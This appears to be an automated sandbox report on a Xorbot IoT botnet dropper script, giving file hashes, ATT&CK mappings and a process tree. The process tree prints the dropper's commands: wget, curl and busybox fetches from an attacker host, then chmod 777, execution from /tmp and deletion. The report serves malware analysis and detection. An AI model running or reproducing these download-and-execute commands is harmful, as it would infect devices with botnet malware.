xorbot | ed0eda682b342a2cc9ff34ff241ded67de3d2b00410ee13b0ea98a4f55eefffb

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30-11-2024 07:37

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General

Target

bins.sh
Size

10KB
MD5

7f8d56359d16cf11a89348faee5e8201
SHA1

0175abd21fe3c193a9619f45bb01b07de596ed7b
SHA256

ed0eda682b342a2cc9ff34ff241ded67de3d2b00410ee13b0ea98a4f55eefffb
SHA512

208a0a3b03e45bf4e566787cce8a23d9d343f1c0d9fbd6b480f4a551bc7c9e23eaf92e50303725d62657a53c4352b641c10a70cf39178f1f36d2413d887b586b
SSDEEP

96:Y40TL5L5n5abqAHLPjZLqifWGTD3DLDcR5ZUuAu8uC5ZJxpr4XqiRuA8iL8AN5/Y:A/kZaq4B3R1irzs9o47R1irzeQ

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
809	chmod

Executes dropped EXE 1 IoCs

Processes:

lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu

ioc	pid	Process
/tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu	810	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurlbusyboxwgetcurl

pid	Process
706	wget
721	curl
729	busybox
813	wget
814	curl

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlwget

description	ioc	Process
File opened for modification	/tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu	wget
File opened for modification	/tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu	curl
File opened for modification	/tmp/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:702
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  - System Network Configuration Discovery
  PID:729
- /bin/chmod
  chmod 777 lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  ./lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  PID:812
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:814

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

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/tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit